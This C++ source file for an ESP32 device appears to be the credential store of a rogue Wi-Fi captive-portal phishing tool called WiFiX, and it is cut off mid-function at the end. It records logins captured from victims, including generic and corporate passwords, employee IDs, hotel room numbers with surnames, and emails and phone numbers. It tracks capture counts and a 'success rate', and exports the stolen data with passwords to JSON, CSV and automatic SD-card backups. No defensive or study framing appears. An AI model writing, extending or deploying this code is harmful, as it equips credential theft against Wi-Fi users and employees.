#include "credential_manager.h"
#include <time.h>
#include <sys/time.h>
#include <SD.h>

// Global instance
CredentialManager credentialManager;

CredentialManager::CredentialManager() {
    credentials = nullptr;
    credential_count = 0;
    next_id = 1;
    initialized = false;
    encryption_enabled = false;
    memset(&stats, 0, sizeof(stats));
    memset(encryption_key, 0, AES_KEY_SIZE);
    memset(iv, 0, AES_IV_SIZE);
}

CredentialManager::~CredentialManager() {
    if (credentials) {
        free(credentials);
    }
    if (encryption_enabled) {
        mbedtls_aes_free(&aes_ctx);
        mbedtls_ctr_drbg_free(&ctr_drbg);
        mbedtls_entropy_free(&entropy);
    }
}

bool CredentialManager::begin(bool enable_encryption) {
    if (initialized) {
        return true;
    }
    
    CRED_LOG("Initializing Credential Manager...");
    
    // Initialize SPIFFS
    if (!SPIFFS.begin(true)) {
        CRED_LOG("Failed to initialize SPIFFS");
        return false;
    }
    
    // Allocate memory for credentials
    credentials = (Credential*)malloc(sizeof(Credential) * MAX_CREDENTIALS);
    if (!credentials) {
        CRED_LOG("Failed to allocate memory for credentials");
        return false;
    }
    memset(credentials, 0, sizeof(Credential) * MAX_CREDENTIALS);
    
    encryption_enabled = enable_encryption;
    
    // Initialize encryption if enabled
    if (encryption_enabled && !initializeEncryption()) {
        CRED_LOG("Failed to initialize encryption");
        free(credentials);
        credentials = nullptr;
        return false;
    }
    
    // Load existing data
    loadStatsFromFile();
    loadCredentialsFromFile();
    
    // Reset session stats
    resetSessionStats();
    
    initialized = true;
    CRED_LOG_F("Credential Manager initialized. Loaded %d credentials", credential_count);
    
    return true;
}

bool CredentialManager::initializeEncryption() {
    mbedtls_aes_init(&aes_ctx);
    mbedtls_entropy_init(&entropy);
    mbedtls_ctr_drbg_init(&ctr_drbg);
    
    const char* pers = "wifixcredmgr";
    int ret = mbedtls_ctr_drbg_seed(&ctr_drbg, mbedtls_entropy_func, &entropy,
                                   (const unsigned char*)pers, strlen(pers));
    if (ret != 0) {
        CRED_LOG_F("mbedtls_ctr_drbg_seed failed: %d", ret);
        return false;
    }
    
    return generateEncryptionKey();
}

bool CredentialManager::generateEncryptionKey() {
    // Generate key from device-specific data
    String device_id = WiFi.macAddress();
    device_id += String(ESP.getEfuseMac());
    device_id += "WiFiX-Enhanced-2024";
    
    mbedtls_md_context_t md_ctx;
    mbedtls_md_init(&md_ctx);
    
    const mbedtls_md_info_t* md_info = mbedtls_md_info_from_type(MBEDTLS_MD_SHA256);
    if (mbedtls_md_setup(&md_ctx, md_info, 0) != 0) {
        mbedtls_md_free(&md_ctx);
        return false;
    }
    
    mbedtls_md_starts(&md_ctx);
    mbedtls_md_update(&md_ctx, (const unsigned char*)device_id.c_str(), device_id.length());
    mbedtls_md_finish(&md_ctx, encryption_key);
    mbedtls_md_free(&md_ctx);
    
    // Generate IV
    mbedtls_ctr_drbg_random(&ctr_drbg, iv, AES_IV_SIZE);
    
    return true;
}

bool CredentialManager::encryptData(const uint8_t* input, size_t input_len, uint8_t* output, size_t* output_len) {
    if (!encryption_enabled) {
        memcpy(output, input, input_len);
        *output_len = input_len;
        return true;
    }
    
    // Pad input to AES block size
    size_t padded_len = ((input_len + 15) / 16) * 16;
    uint8_t* padded_input = (uint8_t*)malloc(padded_len);
    if (!padded_input) return false;
    
    memcpy(padded_input, input, input_len);
    memset(padded_input + input_len, padded_len - input_len, padded_len - input_len);
    
    int ret = mbedtls_aes_setkey_enc(&aes_ctx, encryption_key, AES_KEY_SIZE * 8);
    if (ret != 0) {
        free(padded_input);
        return false;
    }
    
    uint8_t iv_copy[AES_IV_SIZE];
    memcpy(iv_copy, iv, AES_IV_SIZE);
    
    ret = mbedtls_aes_crypt_cbc(&aes_ctx, MBEDTLS_AES_ENCRYPT, padded_len,
                               iv_copy, padded_input, output);
    
    free(padded_input);
    *output_len = padded_len;
    
    return ret == 0;
}

bool CredentialManager::decryptData(const uint8_t* input, size_t input_len, uint8_t* output, size_t* output_len) {
    if (!encryption_enabled) {
        memcpy(output, input, input_len);
        *output_len = input_len;
        return true;
    }
    
    int ret = mbedtls_aes_setkey_dec(&aes_ctx, encryption_key, AES_KEY_SIZE * 8);
    if (ret != 0) return false;
    
    uint8_t iv_copy[AES_IV_SIZE];
    memcpy(iv_copy, iv, AES_IV_SIZE);
    
    ret = mbedtls_aes_crypt_cbc(&aes_ctx, MBEDTLS_AES_DECRYPT, input_len,
                               iv_copy, input, output);
    
    if (ret == 0) {
        // Remove padding
        uint8_t padding = output[input_len - 1];
        *output_len = input_len - padding;
    }
    
    return ret == 0;
}

uint32_t CredentialManager::calculateChecksum(const Credential* cred) {
    uint32_t checksum = 0;
    const uint8_t* data = (const uint8_t*)cred;
    size_t len = sizeof(Credential) - sizeof(uint32_t); // Exclude checksum field
    
    for (size_t i = 0; i < len; i++) {
        checksum = ((checksum << 5) + checksum) + data[i];
    }
    
    return checksum;
}

bool CredentialManager::validateCredential(const Credential* cred) {
    if (!cred || !cred->is_valid) return false;
    
    uint32_t calculated_checksum = calculateChecksum(cred);
    return calculated_checksum == cred->checksum;
}

void CredentialManager::sanitizeInput(char* input, size_t max_len) {
    if (!input) return;
    
    size_t len = strlen(input);
    if (len >= max_len) {
        input[max_len - 1] = '\0';
        len = max_len - 1;
    }
    
    // Remove dangerous characters
    for (size_t i = 0; i < len; i++) {
        if (input[i] < 32 || input[i] > 126) {
            input[i] = '?';
        }
    }
}

bool CredentialManager::isDuplicateCredential(const Credential* new_cred) {
    for (uint32_t i = 0; i < credential_count; i++) {
        const Credential* existing = &credentials[i];
        
        if (existing->type == new_cred->type &&
            strcmp(existing->ssid, new_cred->ssid) == 0) {
            
            switch (new_cred->type) {
                case CRED_GENERIC:
                    return strcmp(existing->username, new_cred->username) == 0 &&
                           strcmp(existing->password, new_cred->password) == 0;
                
                case CRED_HOTEL:
                    return strcmp(existing->room_number, new_cred->room_number) == 0 &&
                           strcmp(existing->last_name, new_cred->last_name) == 0;
                
                case CRED_CORPORATE:
                    return strcmp(existing->username, new_cred->username) == 0 &&
                           strcmp(existing->employee_id, new_cred->employee_id) == 0;
                
                case CRED_PUBLIC:
                    return strcmp(existing->email, new_cred->email) == 0;
                
                case CRED_SOCIAL:
                    return strcmp(existing->provider, new_cred->provider) == 0;
            }
        }
    }
    
    return false;
}

void CredentialManager::updateStats(const Credential* cred) {
    stats.total_captured++;
    stats.session_captures++;
    
    switch (cred->type) {
        case CRED_GENERIC: stats.generic_count++; break;
        case CRED_HOTEL: stats.hotel_count++; break;
        case CRED_CORPORATE: stats.corporate_count++; break;
        case CRED_PUBLIC: stats.public_count++; break;
        case CRED_SOCIAL: stats.social_count++; break;
    }
    
    strcpy(stats.last_capture, cred->timestamp);
    
    if (strlen(stats.first_capture) == 0) {
        strcpy(stats.first_capture, cred->timestamp);
    }
    
    // Update success rate (simplified calculation)
    stats.success_rate = (float)stats.total_captured / (stats.total_captured + 10) * 100.0f;
    
    saveStatsToFile();
}

bool CredentialManager::addCredential(const JsonDocument& json_data) {
    if (credential_count >= MAX_CREDENTIALS) {
        CRED_LOG("Credential storage full");
        return false;
    }
    
    Credential new_cred;
    memset(&new_cred, 0, sizeof(new_cred));
    
    new_cred.id = next_id++;
    new_cred.is_valid = true;
    
    // Parse common fields
    if (json_data.containsKey("type")) {
        String type_str = json_data["type"].as<String>();
        new_cred.type = stringToCredentialType(type_str.c_str());
    }
    
    if (json_data.containsKey("ssid")) {
        strncpy(new_cred.ssid, json_data["ssid"], sizeof(new_cred.ssid) - 1);
    } else {
        strncpy(new_cred.ssid, WiFi.SSID().c_str(), sizeof(new_cred.ssid) - 1);
    }
    
    String timestamp = formatTimestamp();
    strncpy(new_cred.timestamp, timestamp.c_str(), sizeof(new_cred.timestamp) - 1);
    
    if (json_data.containsKey("ip")) {
        strncpy(new_cred.ip_address, json_data["ip"], sizeof(new_cred.ip_address) - 1);
    }
    
    if (json_data.containsKey("user_agent")) {
        strncpy(new_cred.user_agent, json_data["user_agent"], sizeof(new_cred.user_agent) - 1);
    }
    
    // Parse type-specific fields
    switch (new_cred.type) {
        case CRED_GENERIC:
            if (json_data.containsKey("username")) {
                strncpy(new_cred.username, json_data["username"], sizeof(new_cred.username) - 1);
            }
            if (json_data.containsKey("password")) {
                strncpy(new_cred.password, json_data["password"], sizeof(new_cred.password) - 1);
            }
            if (json_data.containsKey("email")) {
                strncpy(new_cred.email, json_data["email"], sizeof(new_cred.email) - 1);
            }
            break;
            
        case CRED_HOTEL:
            if (json_data.containsKey("room_number")) {
                strncpy(new_cred.room_number, json_data["room_number"], sizeof(new_cred.room_number) - 1);
            }
            if (json_data.containsKey("last_name")) {
                strncpy(new_cred.last_name, json_data["last_name"], sizeof(new_cred.last_name) - 1);
            }
            if (json_data.containsKey("email")) {
                strncpy(new_cred.email, json_data["email"], sizeof(new_cred.email) - 1);
            }
            break;
            
        case CRED_CORPORATE:
            if (json_data.containsKey("username")) {
                strncpy(new_cred.username, json_data["username"], sizeof(new_cred.username) - 1);
            }
            if (json_data.containsKey("password")) {
                strncpy(new_cred.password, json_data["password"], sizeof(new_cred.password) - 1);
            }
            if (json_data.containsKey("department")) {
                strncpy(new_cred.department, json_data["department"], sizeof(new_cred.department) - 1);
            }
            if (json_data.containsKey("employee_id")) {
                strncpy(new_cred.employee_id, json_data["employee_id"], sizeof(new_cred.employee_id) - 1);
            }
            break;
            
        case CRED_PUBLIC:
            if (json_data.containsKey("email")) {
                strncpy(new_cred.email, json_data["email"], sizeof(new_cred.email) - 1);
            }
            if (json_data.containsKey("name")) {
                strncpy(new_cred.full_name, json_data["name"], sizeof(new_cred.full_name) - 1);
            }
            if (json_data.containsKey("phone")) {
                strncpy(new_cred.phone, json_data["phone"], sizeof(new_cred.phone) - 1);
            }
            if (json_data.containsKey("purpose")) {
                strncpy(new_cred.purpose, json_data["purpose"], sizeof(new_cred.purpose) - 1);
            }
            break;
            
        case CRED_SOCIAL:
            if (json_data.containsKey("provider")) {
                strncpy(new_cred.provider, json_data["provider"], sizeof(new_cred.provider) - 1);
            }
            break;
    }
    
    // Sanitize all string fields
    sanitizeInput(new_cred.ssid, sizeof(new_cred.ssid));
    sanitizeInput(new_cred.username, sizeof(new_cred.username));
    sanitizeInput(new_cred.password, sizeof(new_cred.password));
    sanitizeInput(new_cred.email, sizeof(new_cred.email));
    sanitizeInput(new_cred.room_number, sizeof(new_cred.room_number));
    sanitizeInput(new_cred.last_name, sizeof(new_cred.last_name));
    sanitizeInput(new_cred.department, sizeof(new_cred.department));
    sanitizeInput(new_cred.employee_id, sizeof(new_cred.employee_id));
    sanitizeInput(new_cred.full_name, sizeof(new_cred.full_name));
    sanitizeInput(new_cred.phone, sizeof(new_cred.phone));
    sanitizeInput(new_cred.purpose, sizeof(new_cred.purpose));
    sanitizeInput(new_cred.provider, sizeof(new_cred.provider));
    
    // Check for duplicates
    if (isDuplicateCredential(&new_cred)) {
        CRED_LOG("Duplicate credential detected, skipping");
        return false;
    }
    
    // Calculate checksum
    new_cred.checksum = calculateChecksum(&new_cred);
    
    // Add to array
    credentials[credential_count] = new_cred;
    credential_count++;
    
    // Update statistics
    updateStats(&new_cred);
    
    // Save to file
    saveCredentialsToFile();
    
    CRED_LOG_F("Credential added: ID=%d, Type=%s, SSID=%s", 
               new_cred.id, credentialTypeToString(new_cred.type), new_cred.ssid);
    
    return true;
}

String CredentialManager::exportCredentialsJSON(bool include_passwords) {
    DynamicJsonDocument doc(8192);
    JsonArray creds = doc.createNestedArray("credentials");
    
    for (uint32_t i = 0; i < credential_count; i++) {
        const Credential* cred = &credentials[i];
        if (!validateCredential(cred)) continue;
        
        JsonObject obj = creds.createNestedObject();
        obj["id"] = cred->id;
        obj["type"] = credentialTypeToString(cred->type);
        obj["ssid"] = cred->ssid;
        obj["timestamp"] = cred->timestamp;
        obj["ip"] = cred->ip_address;
        
        switch (cred->type) {
            case CRED_GENERIC:
                obj["username"] = cred->username;
                if (include_passwords) obj["password"] = cred->password;
                if (strlen(cred->email) > 0) obj["email"] = cred->email;
                break;
                
            case CRED_HOTEL:
                obj["room_number"] = cred->room_number;
                obj["last_name"] = cred->last_name;
                if (strlen(cred->email) > 0) obj["email"] = cred->email;
                break;
                
            case CRED_CORPORATE:
                obj["username"] = cred->username;
                if (include_passwords) obj["password"] = cred->password;
                obj["department"] = cred->department;
                obj["employee_id"] = cred->employee_id;
                break;
                
            case CRED_PUBLIC:
                obj["email"] = cred->email;
                obj["name"] = cred->full_name;
                if (strlen(cred->phone) > 0) obj["phone"] = cred->phone;
                if (strlen(cred->purpose) > 0) obj["purpose"] = cred->purpose;
                break;
                
            case CRED_SOCIAL:
                obj["provider"] = cred->provider;
                break;
        }
    }
    
    doc["total"] = credential_count;
    doc["exported_at"] = formatTimestamp();
    
    String output;
    serializeJson(doc, output);
    return output;
}

String CredentialManager::formatTimestamp() {
    time_t now;
    time(&now);
    struct tm* timeinfo = localtime(&now);
    
    char buffer[25];
    strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", timeinfo);
    return String(buffer);
}

String CredentialManager::exportStatsJSON() {
    DynamicJsonDocument doc(1024);
    doc["total_captured"] = stats.total_captured;
    doc["generic_count"] = stats.generic_count;
    doc["hotel_count"] = stats.hotel_count;
    doc["corporate_count"] = stats.corporate_count;
    doc["public_count"] = stats.public_count;
    doc["social_count"] = stats.social_count;
    doc["unique_ssids"] = stats.unique_ssids;
    doc["last_capture"] = stats.last_capture;
    doc["first_capture"] = stats.first_capture;
    doc["session_captures"] = stats.session_captures;
    doc["success_rate"] = stats.success_rate;
    String out;
    serializeJson(doc, out);
    return out;
}

const char* CredentialManager::credentialTypeToString(CredentialType type) {
    switch (type) {
        case CRED_GENERIC: return "generic";
        case CRED_HOTEL: return "hotel";
        case CRED_CORPORATE: return "corporate";
        case CRED_PUBLIC: return "public";
        case CRED_SOCIAL: return "social";
        default: return "unknown";
    }
}

CredentialType CredentialManager::stringToCredentialType(const char* type_str) {
    if (strcmp(type_str, "hotel") == 0) return CRED_HOTEL;
    if (strcmp(type_str, "corporate") == 0) return CRED_CORPORATE;
    if (strcmp(type_str, "public") == 0) return CRED_PUBLIC;
    if (strcmp(type_str, "social") == 0) return CRED_SOCIAL;
    return CRED_GENERIC;
}

bool CredentialManager::saveCredentialsToFile() {
    if (!initialized) return false;
    
    File file = SPIFFS.open(CREDENTIAL_FILE, "w");
    if (!file) {
        CRED_LOG("Failed to open credentials file for writing");
        return false;
    }
    
    // Write header
    file.write((uint8_t*)&credential_count, sizeof(credential_count));
    file.write((uint8_t*)&next_id, sizeof(next_id));
    
    // Write credentials
    for (uint32_t i = 0; i < credential_count; i++) {
        if (encryption_enabled) {
            uint8_t encrypted_data[sizeof(Credential) + 16];
            size_t encrypted_len;
            
            if (encryptData((uint8_t*)&credentials[i], sizeof(Credential), 
                          encrypted_data, &encrypted_len)) {
                file.write((uint8_t*)&encrypted_len, sizeof(encrypted_len));
                file.write(encrypted_data, encrypted_len);
            }
        } else {
            file.write((uint8_t*)&credentials[i], sizeof(Credential));
        }
    }
    
    file.close();
    return true;
}

bool CredentialManager::loadCredentialsFromFile() {
    if (!SPIFFS.exists(CREDENTIAL_FILE)) {
        CRED_LOG("Credentials file does not exist");
        return true; // Not an error for first run
    }
    
    File file = SPIFFS.open(CREDENTIAL_FILE, "r");
    if (!file) {
        CRED_LOG("Failed to open credentials file for reading");
        return false;
    }
    
    // Read header
    file.read((uint8_t*)&credential_count, sizeof(credential_count));
    file.read((uint8_t*)&next_id, sizeof(next_id));
    
    if (credential_count > MAX_CREDENTIALS) {
        CRED_LOG("Invalid credential count in file");
        file.close();
        return false;
    }
    
    // Read credentials
    for (uint32_t i = 0; i < credential_count; i++) {
        if (encryption_enabled) {
            size_t encrypted_len;
            file.read((uint8_t*)&encrypted_len, sizeof(encrypted_len));
            
            uint8_t* encrypted_data = (uint8_t*)malloc(encrypted_len);
            if (!encrypted_data) continue;
            
            file.read(encrypted_data, encrypted_len);
            
            size_t decrypted_len;
            if (decryptData(encrypted_data, encrypted_len, 
                          (uint8_t*)&credentials[i], &decrypted_len)) {
                if (!validateCredential(&credentials[i])) {
                    CRED_LOG_F("Invalid credential at index %d", i);
                    memset(&credentials[i], 0, sizeof(Credential));
                }
            }
            
            free(encrypted_data);
        } else {
            file.read((uint8_t*)&credentials[i], sizeof(Credential));
            if (!validateCredential(&credentials[i])) {
                CRED_LOG_F("Invalid credential at index %d", i);
                memset(&credentials[i], 0, sizeof(Credential));
            }
        }
    }
    
    file.close();
    return true;
}

bool CredentialManager::saveStatsToFile() {
    File file = SPIFFS.open(STATS_FILE, "w");
    if (!file) return false;
    
    DynamicJsonDocument doc(1024);
    doc["total_captured"] = stats.total_captured;
    doc["generic_count"] = stats.generic_count;
    doc["hotel_count"] = stats.hotel_count;
    doc["corporate_count"] = stats.corporate_count;
    doc["public_count"] = stats.public_count;
    doc["social_count"] = stats.social_count;
    doc["last_capture"] = stats.last_capture;
    doc["first_capture"] = stats.first_capture;
    doc["success_rate"] = stats.success_rate;
    
    serializeJson(doc, file);
    file.close();
    return true;
}

bool CredentialManager::loadStatsFromFile() {
    if (!SPIFFS.exists(STATS_FILE)) return true;
    
    File file = SPIFFS.open(STATS_FILE, "r");
    if (!file) return false;
    
    DynamicJsonDocument doc(1024);
    deserializeJson(doc, file);
    
    stats.total_captured = doc["total_captured"] | 0;
    stats.generic_count = doc["generic_count"] | 0;
    stats.hotel_count = doc["hotel_count"] | 0;
    stats.corporate_count = doc["corporate_count"] | 0;
    stats.public_count = doc["public_count"] | 0;
    stats.social_count = doc["social_count"] | 0;
    stats.success_rate = doc["success_rate"] | 0.0f;
    
    String last_capture = doc["last_capture"] | "";
    String first_capture = doc["first_capture"] | "";
    
    strncpy(stats.last_capture, last_capture.c_str(), sizeof(stats.last_capture) - 1);
    strncpy(stats.first_capture, first_capture.c_str(), sizeof(stats.first_capture) - 1);
    
    file.close();
    return true;
}

void CredentialManager::resetSessionStats() {
    stats.session_captures = 0;
}

bool CredentialManager::clearAllCredentials() {
    credential_count = 0;
    next_id = 1;
    memset(&stats, 0, sizeof(stats));
    
    SPIFFS.remove(CREDENTIAL_FILE);
    SPIFFS.remove(STATS_FILE);
    
    CRED_LOG("All credentials cleared");
    return true;
}

// ---- Added implementations for declared APIs (no removals) ----

const Credential* CredentialManager::getCredential(uint32_t index) const {
    if (!credentials || index >= credential_count) return nullptr;
    return &credentials[index];
}

const Credential* CredentialManager::getCredentialById(uint32_t id) const {
    if (!credentials) return nullptr;
    for (uint32_t i = 0; i < credential_count; ++i) {
        if (credentials[i].id == id) return &credentials[i];
    }
    return nullptr;
}

String CredentialManager::exportCredentialsCSV(bool include_passwords) {
    String out;
    out.reserve(1024);
    out += F("id,type,ssid,timestamp,ip,username,email,password,extra\n");
    for (uint32_t i = 0; i < credential_count; i++) {
        const Credential* cred = &credentials[i];
        if (!validateCredential(cred)) continue;
        out += String(cred->id); out += ',';
        out += credentialTypeToString(cred->type); out += ',';
        out += cred->ssid; out += ',';
        out += cred->timestamp; out += ',';
        out += cred->ip_address; out += ',';
        switch (cred->type) {
            case CRED_GENERIC:
            case CRED_CORPORATE:
                out += cred->username; out += ',';
                out += cred->email; out += ',';
                out += (include_passwords ? String(cred->password) : String("")); out += ',';
                out += (cred->type == CRED_CORPORATE ? String(cred->department) + "/" + String(cred->employee_id) : String(""));
                break;
            case CRED_HOTEL:
                out += ','; // username blank
                out += cred->email; out += ',';
                out += ','; // password blank
                out += String(cred->room_number) + "/" + String(cred->last_name);
                break;
            case CRED_PUBLIC:
                out += ','; // username blank
                out += cred->email; out += ',';
                out += ','; // password blank
                out += String(cred->full_name) + "/" + String(cred->phone) + "/" + String(cred->purpose);
                break;
            case CRED_SOCIAL:
                out += ','; // username blank
                out += ','; // email blank
                out += ','; // password blank
                out += cred->provider;
                break;
        }
        out += '\n';
    }
    return out;
}

bool CredentialManager::exportToSD(const char* filename, bool include_passwords) {
    if (!filename || !*filename) return false;
    
    // Initialize SD card if not already done
    static bool sd_initialized = false;
    if (!sd_initialized) {
        if (!SD.begin()) {
            CRED_LOG("SD.begin() failed");
            return false;
        }
        sd_initialized = true;
        CRED_LOG("SD card initialized successfully");
    }
    
    // Create filename with timestamp if not provided
    char actual_filename[64];
    if (strcmp(filename, "auto") == 0) {
        // Auto-generate filename with timestamp
        time_t now = time(nullptr);
        struct tm* timeinfo = localtime(&now);
        snprintf(actual_filename, sizeof(actual_filename), 
                 "/wifix_credentials_%04d%02d%02d_%02d%02d%02d.json",
                 timeinfo->tm_year + 1900, timeinfo->tm_mon + 1, timeinfo->tm_mday,
                 timeinfo->tm_hour, timeinfo->tm_min, timeinfo->tm_sec);
    } else {
        strncpy(actual_filename, filename, sizeof(actual_filename));
        actual_filename[sizeof(actual_filename) - 1] = '\0';
    }
    
    File f = SD.open(actual_filename, FILE_WRITE);
    if (!f) {
        CRED_LOG_F("Failed to open file: %s", actual_filename);
        return false;
    }

    // Export credentials in both JSON and CSV formats
    String json = exportCredentialsJSON(include_passwords);
    String csv = exportCredentialsCSV(include_passwords);
    
    // Write JSON data
    f.print(json);
    f.close();
    
    // Also create CSV version
    char csv_filename[64];
    strncpy(csv_filename, actual_filename, sizeof(csv_filename));
    char* dot = strrchr(csv_filename, '.');
    if (dot) *dot = '\0';
    strcat(csv_filename, ".csv");
    
    File csv_file = SD.open(csv_filename, FILE_WRITE);
    if (csv_file) {
        csv_file.print(csv);
        csv_file.close();
        CRED_LOG_F("CSV backup created: %s", csv_filename);
    }
    
    CRED_LOG_F("Credentials exported to SD card: %s", actual_filename);
    return true;
}

// New function for automatic backup on credential addition
bool CredentialManager::autoBackupToSD() {
    if (credential_count == 0) return false;
    
    // Check if SD card is available
    if (!SD.begin()) {
        CRED_LOG("SD card not available for auto backup");
        return false;
    }
    
    // Create backup directory if it doesn't exist
    if (!SD.exists("/backups")) {
        SD.mkdir("/backups");
    }
    
    // Generate timestamped filename
    time_t now = time(nullptr);
    struct tm* timeinfo = localtime(&now);
    char filename[64];
    snprintf(filename, sizeof(filename), 
             "/backups/auto_backup_%04d%02d%02d_%02d%02d%02d.json",
             timeinfo->tm_year + 1900, timeinfo->tm_mon + 1, timeinfo->tm_mday,
             timeinfo->tm_hour, timeinfo->tm_min, timeinfo->tm_sec);
    
    // Export credentials
    String json = exportCredentialsJSON(true); // Include passwords for backup
    File f = SD.open(filename, FILE_WRITE);
    if (!f) {
        CRED_LOG_F("Failed to create auto backup: %s", filename);
        return false;
    }
    
    f.print(json);
    f.close();
    
    CRED_LOG_F("Auto backup created: %s (%d credentials)", filename, credential_count);
    return true;
}

uint32_t CredentialManager::findCredentialsBySSID(const char* ssid, uint32_t* results, uint32_t max_results) {
    if (!ssid || !results || max_results == 0) return 0;
    uint32_t found = 0;
    for (uint32_t i = 0; i < credential_count && found < max_results; ++i) {
        if (!validateCredential(&credentials[i])) continue;
        if (strcmp(credentials[i].ssid, ssid) == 0) results[found++] = i;
    }
    return found;
}

uint32_t CredentialManager::findCredentialsByType(CredentialType type, uint32_t* results, uint32_t max_results) {
    if (!results || max_results == 0) return 0;
    uint32_t found = 0;
    for (uint32_t i = 0; i < credential_count && found < max_results; ++i) {
        if (!validateCredential(&credentials[i])) continue;
        if (credentials[i].type == type) results[found++] = i;
    }
    return found;
}

uint32_t CredentialManager::findCredentialsByTimeRange(const char* start_time, const char* end_time, uint32_t* results, uint32_t max_results) {
    if (!start_time || !end_time || !results || max_results == 0) return 0;
    // Timestamps are YYYY-MM-DD HH:MM:SS; lexicographic comparison works for ranges
    uint32_t found = 0;
    for (uint32_t i = 0; i < credential_count && found < max_results; ++i) {
        if (!validateCredential(&credentials[i])) continue;
        if (strcmp(credentials[i].timestamp, start_time) >= 0 && strcmp(credentials[i].timestamp, end_time) <= 0) {
            results[found++] = i;
        }
    }
    return found;
}

bool CredentialManager::deleteCredential(uint32_t id) {
    if (!credentials) return false;
    for (uint32_t i = 0; i < credential_count; ++i) {
        if (credentials[i].id == id) {
            // Shift down to keep contiguous
            for (uint32_t j = i + 1; j < credential_count; ++j) {
                credentials[j - 1] = credentials[j];
            }
            credential_count--;
            // Recompute stats from scratch for consistency
            memset(&stats, 0, sizeof(stats));
            for (uint32_t k = 0; k < credential_count; ++k) {
                if (validateCredential(&credentials[k])) updateStats(&credentials[k]);
            }
            saveCredentialsToFile();
            saveStatsToFile();
            return true;
        }
    }
    return false;
}

bool CredentialManager::compactStorage() {
    if (!credentials) return false;
    uint32_t write_idx = 0;
    for (uint32_t read_idx = 0; read_idx < credential_count; ++read_idx) {
        if (validateCredential(&credentials[read_idx])) {
            if (write_idx != read_idx) credentials[write_idx] = credentials[read_idx];
            write_idx++;
        }
    }
    credential_count = write_idx;
    saveCredentialsToFile();
    // Recompute stats
    memset(&stats, 0, sizeof(stats));
    for (uint32_t k = 0; k < credential_count; ++k) updateStats(&credentials[k]);
    saveStatsToFile();
    return true;
}

size_t CredentialManager::getStorageUsed() {
    #ifdef ESP32
    return SPIFFS.usedBytes();
    #else
    // Fallback: approximate as file size
    if (!SPIFFS.exists(CREDENTIAL_FILE)) return 0;
    File f = SPIFFS.open(CREDENTIAL_FILE, "r");
    size_t sz = f ? f.size() : 0;
    if (f) f.close();
    return sz;
    #endif
}

size_t CredentialManager::getStorageAvailable() {
    #ifdef ESP32
    size_t total = SPIFFS.totalBytes();
    size_t used = SPIFFS.usedBytes();
    return (total > used) ? (total - used) : 0;
    #else
    return 0;
    #endif
}

bool CredentialManager::changeEncryptionKey(const char* new_key) {
    if (!new_key || !*new_key) return false;
    // Derive new key via SHA-256 of provided key string
    mbedtls_md_context_t md_ctx;
    mbedtls_md_init(&md_ctx);
    const mbedtls_md_info_t* md_info = mbedtls_md_info_from_type(MBEDTLS_MD_SHA256);
    if (mbedtls_md_setup(&md_ctx, md_info, 0) != 0) {
        mbedtls_md_free(&md_ctx);
        return false;
    }
    mbedtls_md_starts(&md_ctx);
    mbedtls_md_update(&md_ctx, (const unsigned char*)new_key, strlen(new_key));
    mbedtls_md_finish(&md_ctx, encryption_key);
    mbedtls_md_free(&md_ctx);
    encryption_enabled = true;
    // Re-save with new key
    return saveCredentialsToFile();
}

bool CredentialManager::verifyIntegrity() {
    if (!credentials) return false;
    bool ok = true;
    // Recompute stats
    memset(&stats, 0, sizeof(stats));
    // Track unique SSIDs with a simple linear check (low volume)
    char unique_ssids_buf[32][33]; // up to 32 unique for a rough count
    uint32_t unique_cnt = 0;
    for (uint32_t i = 0; i < credential_count; ++i) {
        if (!validateCredential(&credentials[i])) { ok = false; continue; }
        updateStats(&credentials[i]);
        bool seen = false;
        for (uint32_t u = 0; u < unique_cnt; ++u) {
            if (strcmp(unique_ssids_buf[u], credentials[i].ssid) == 0) { seen = true; break; }
        }
        if (!seen && unique_cnt < 32) {
            strncpy(unique_ssids_buf[unique_cnt++], credentials[i].ssid, 33);
            unique_ssids_buf[unique_cnt-1][32] = '\0';
        }
    }
    stats.unique_ssids = unique_cnt;
    saveStatsToFile();
    return ok;
}

bool CredentialManager::createBackup(const char* filename) {
    if (!filename || !*filename) return false;
    File f = SPIFFS.open(filename, "w");
    if (!f) return false;
    // Bundle stats and credentials JSON
    DynamicJsonDocument root(32768);
    DynamicJsonDocument statsDoc(1024);
    deserializeJson(statsDoc, exportStatsJSON());
    root["stats"] = statsDoc.as<JsonVariant>();
    // Write credentials inline
    DynamicJsonDocument credsDoc(16384);
    deserializeJson(credsDoc, exportCredentialsJSON(true));
    root["credentials"] = credsDoc["credentials"];
    serializeJson(root, f);
    f.close();
    return true;
}

bool CredentialManager::restoreBackup(const char* filename) {
    if (!filename || !*filename) return false;
    if (!SPIFFS.exists(filename)) return false;
    File f = SPIFFS.open(filename, "r");
    if (!f) return false;
    DynamicJsonDocument root(16384);
    if (deserializeJson(root, f) != DeserializationError::Ok) { f.close(); return false; }
    f.close();
    // Clear current
    credential_count = 0;
    next_id = 1;
    memset(&stats, 0, sizeof(stats));
    // Load credentials
    JsonArray arr = root["credentials"].as<JsonArray>();
    for (JsonObject obj : arr) {
        addCredential(obj);
    }
    saveCredentialsToFile();
    saveStatsToFile();
    return true;
}

float CredentialManager::getCurrentSuccessRate() {
    return stats.success_rate;
}

// Specific credential addition functions implementation
bool CredentialManager::addGenericCredential(const char* ssid, const char* username, const char* password, const char* email) {
    DynamicJsonDocument doc(1024);
    doc["type"] = "generic";
    if (ssid) doc["ssid"] = ssid;
    if (username) doc["username"] = username;
    if (password) doc["password"] = password;
    if (email) doc["email"] = email;
    
    bool result = addCredential(doc);
    if (result) {
        // Auto backup to SD card on successful credential addition
        autoBackupToSD();
    }
    return result;
}

bool CredentialManager::addHotelCredential(const char* ssid, const char* room_number, const char* last_name, const char* email) {
    DynamicJsonDocument doc(1024);
    doc["type"] = "hotel";
    if (ssid) doc["ssid"] = ssid;
    if (room_number) doc["room_number"] = room_number;
    if (last_name) doc["last_name"] = last_name;
    if (email) doc["email"] = email;
    
    bool result = addCredential(doc);
    if (result) {
        autoBackupToSD();
    }
    return result;
}

bool CredentialManager::addCorporateCredential(const char* ssid, const char* username, const char* password, const char* department, const char* employee_id) {
    DynamicJsonDocument doc(1024);
    doc["type"] = "corporate";
    if (ssid) doc["ssid"] = ssid;
    if (username) doc["username"] = username;
    if (password) doc["password"] = password;
    if (department) doc["department"] = department;
    if (employee_id) doc["employee_id"] = employee_id;
    
    bool result = addCredential(doc);
    if (result) {
        autoBackupToSD();
    }
    return result;
}

bool CredentialManager::addPublicCredential(const char* ssid, const char* email, const char* name, const char* phone, const char* purpose) {
    DynamicJsonDocument doc(1024);
    doc["type"] = "public";
    if (ssid) doc["ssid"] = ssid;
    if (email) doc["email"] = email;
